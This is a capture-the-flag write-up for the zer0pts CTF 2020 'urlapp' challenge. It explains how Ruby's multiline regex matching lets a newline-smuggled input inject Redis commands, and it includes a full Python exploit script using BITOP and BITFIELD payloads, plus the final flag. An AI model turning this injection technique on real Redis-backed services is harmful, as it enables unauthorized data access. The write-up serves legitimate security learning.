# [zer0pts CTF 2020] urlapp ###### tags: `zer0pts CTF` ## overview It was a URL shortening service built with `sinatra` and `redis`. the flag was in the redis as the `flag` key, but we can get keys `[0-9a-f]{16}` formmatted only. ## solution However, ruby's regexp is a bit of weak. As default, it process given string as *multiple line string*. So strings like a `"GET flag\naaaaaaaaaaaaaaaa"` pass the check. And because of handcrafted redis client, we can inject any redis command as we like. Thouth we can do redis command injection, but simply `GET flag` won't be worked, just returned empty result. Because WEBrick server's `redirect` instruction could not handle url like `http://3.112.201.75:8004/zer0pts{....` My approach is: - copy `flag` to another name (because `flag` is overwritten every request). to do this, we can use `BITOP` operation even `RENAME` is forbidden. - replace flag's i-th character to `_` using `BITFIELD`. if we succeed to replace `{` and `}`, then http response can include the flag like `zer0pts_......_` The script is ```python= import requests import os import re from binascii import hexlify SERVER = 'http://3.112.201.75:8004' r = requests.post(SERVER, data={ "url": "http://example.com/" }) short = r.text.split("=")[1] index = 8 while True: key = hexlify(os.urandom(8)).decode() requests.get(SERVER, params={ "q": "{short}\n\r\nBITOP AND {key} flag flag\r\nBITFIELD {key} SET u8 #7 95 SET u8 #{index} 95\r\n".format(short=short, key=key, index=index) }) try: r = requests.get(SERVER, params={ "q": key }) if len(r.text) > 0: print(re.findall("zer0pts[a-zA-Z0-9_\+\!\?]+", r.text)) break except: pass index += 1 print(index, key) ``` then we got the flag `zer0pts{sh0rt_t0_10ng_10ng_t0_sh0rt}`